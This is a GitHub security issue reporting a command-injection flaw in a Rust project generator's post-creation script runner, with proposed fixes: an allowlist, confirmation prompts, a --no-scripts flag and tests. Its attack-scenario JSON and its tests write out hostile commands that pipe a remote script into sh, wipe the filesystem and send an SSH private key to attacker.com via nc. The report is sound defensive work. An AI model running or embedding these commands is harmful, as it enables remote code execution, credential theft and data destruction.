Skip to content

Command Injection in Post-Creation Scripts #2

@AbdullahNamespace

Description

@AbdullahNamespace

🔒 [SECURITY] Command Injection in Post-Creation Scripts

Priority: 🔴 Critical

Description

The execute_scripts() function directly passes user-provided commands to the shell without any sanitization or validation, allowing arbitrary command execution.

Vulnerability Details

Current Code (Vulnerable)

// In generator.rs - execute_scripts()
Command::new("sh")
    .args(["-c", script])  // Direct execution of user input!
    .current_dir(&self.output_dir)
    .output()

Attack Scenario

{
  "project": {
    "name": "hacked_project"
  },
  "custom_scripts": {
    "post_create": [
      "echo 'Installing dependencies...' && curl http://malicious.com/backdoor.sh | sh",
      "rm -rf / --no-preserve-root",
      "cat ~/.ssh/id_rsa | nc attacker.com 4444"
    ]
  }
}

Impact

  • Severity: Critical
  • Attack Vector: Malicious JSON configuration
  • Affected Component: ProjectGenerator::execute_scripts()
  • Attackers could:
    • Execute arbitrary system commands
    • Delete files/directories
    • Exfiltrate sensitive data
    • Install malware
    • Pivot to other systems

Root Cause

The tool treats JSON configs as trusted input but users can:

  1. Download configs from untrusted sources
  2. Be social-engineered into using malicious templates
  3. Accidentally use compromised configs

Proposed Solutions

Option 1: Whitelist Approved Commands (Recommended)

const ALLOWED_COMMANDS: &[&str] = &[
    "cargo", "npm", "yarn", "git", "poetry", 
    "pip", "go", "flutter", "dotnet"
];

fn validate_script(&self, script: &str) -> Result<()> {
    let parts: Vec<&str> = script.split_whitespace().collect();
    
    if parts.is_empty() {
        bail!("Empty script command");
    }
    
    let command = parts[0];
    
    if !ALLOWED_COMMANDS.contains(&command) {
        bail!(
            "Command '{}' is not allowed. Permitted: {:?}",
            command,
            ALLOWED_COMMANDS
        );
    }
    
    // Check for shell operators
    if script.contains(';') || script.contains('|') || 
       script.contains('&') || script.contains('`') ||
       script.contains('$') {
        bail!("Shell operators not allowed in scripts");
    }
    
    Ok(())
}

Option 2: Interactive Confirmation

pub fn execute_scripts(&self, scripts: &[String]) -> Result<()> {
    println!("\n⚠️  About to execute {} scripts:", scripts.len());
    for (i, script) in scripts.iter().enumerate() {
        println!("  {}. {}", i + 1, script.yellow());
    }
    
    print!("\nContinue? [y/N]: ");
    io::stdout().flush()?;
    
    let mut input = String::new();
    io::stdin().read_line(&mut input)?;
    
    if input.trim().to_lowercase() != "y" {
        println!("❌ Script execution cancelled");
        return Ok(());
    }
    
    // Execute with validation
    for script in scripts {
        self.validate_script(script)?;
        self.execute_single_script(script)?;
    }
    
    Ok(())
}

Option 3: Dry-Run Mode

#[derive(Parser, Debug)]
pub struct Cli {
    #[clap(short, long)]
    pub config: String,
    
    #[clap(short, long)]
    pub output: Option<String>,
    
    // NEW FLAG
    #[clap(long)]
    pub no_scripts: bool,  // Skip script execution
    
    #[clap(long)]
    pub dry_run: bool,  // Show what would be created
}

Recommended Implementation

Multi-Layer Defense

impl ProjectGenerator {
    pub fn execute_scripts(&self, scripts: &[String], flags: &ScriptFlags) -> Result<()> {
        // Layer 1: Check flag
        if flags.skip_scripts {
            crate::ui::print_info("Skipping scripts (--no-scripts flag)");
            return Ok(());
        }
        
        // Layer 2: Validate all scripts first
        for script in scripts {
            self.validate_script(script)?;
        }
        
        // Layer 3: User confirmation
        if !flags.auto_confirm {
            self.prompt_user_confirmation(scripts)?;
        }
        
        // Layer 4: Execute in restricted environment
        for script in scripts {
            self.execute_sandboxed(script)?;
        }
        
        Ok(())
    }
    
    fn execute_sandboxed(&self, script: &str) -> Result<()> {
        // Set restrictive environment
        let output = Command::new(self.get_shell_command())
            .args(self.get_shell_args(script))
            .current_dir(&self.output_dir)
            .env_clear()  // Clear all env vars
            .env("PATH", "/usr/local/bin:/usr/bin:/bin")  // Minimal PATH
            .env("HOME", &self.output_dir)  // Restrict HOME
            .output()?;
            
        if !output.status.success() {
            bail!("Script failed: {}", String::from_utf8_lossy(&output.stderr));
        }
        
        Ok(())
    }
}

Documentation Updates

Add to README.md:

## ⚠️ Security Notice

### Script Execution Safety

Post-creation scripts run with your user permissions. **Always review**
`custom_scripts` before running configs from untrusted sources.

**Safe usage:**
```bash
# Review the config first
cat template.json | grep -A 10 "custom_scripts"

# Use --no-scripts flag
quick-arch --config untrusted.json --no-scripts

# Then manually run approved commands
cd my_project && cargo build

Allowed commands: cargo, npm, yarn, git, pip, poetry, go, flutter, dotnet


## Testing
```rust
#[test]
fn test_reject_dangerous_commands() {
    let gen = create_test_generator();
    
    // Should fail
    assert!(gen.validate_script("rm -rf /").is_err());
    assert!(gen.validate_script("curl malicious.com | sh").is_err());
    assert!(gen.validate_script("git init && rm -rf /").is_err());
    
    // Should pass
    assert!(gen.validate_script("cargo build").is_ok());
    assert!(gen.validate_script("npm install").is_ok());
}

Action Items

  • Implement command whitelist
  • Add --no-scripts flag
  • Add interactive confirmation by default
  • Sanitize environment variables
  • Add security warning to README
  • Create SECURITY.md file
  • Add script validation tests
  • Consider sandboxing (Docker/containers)

References

Related Issues

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions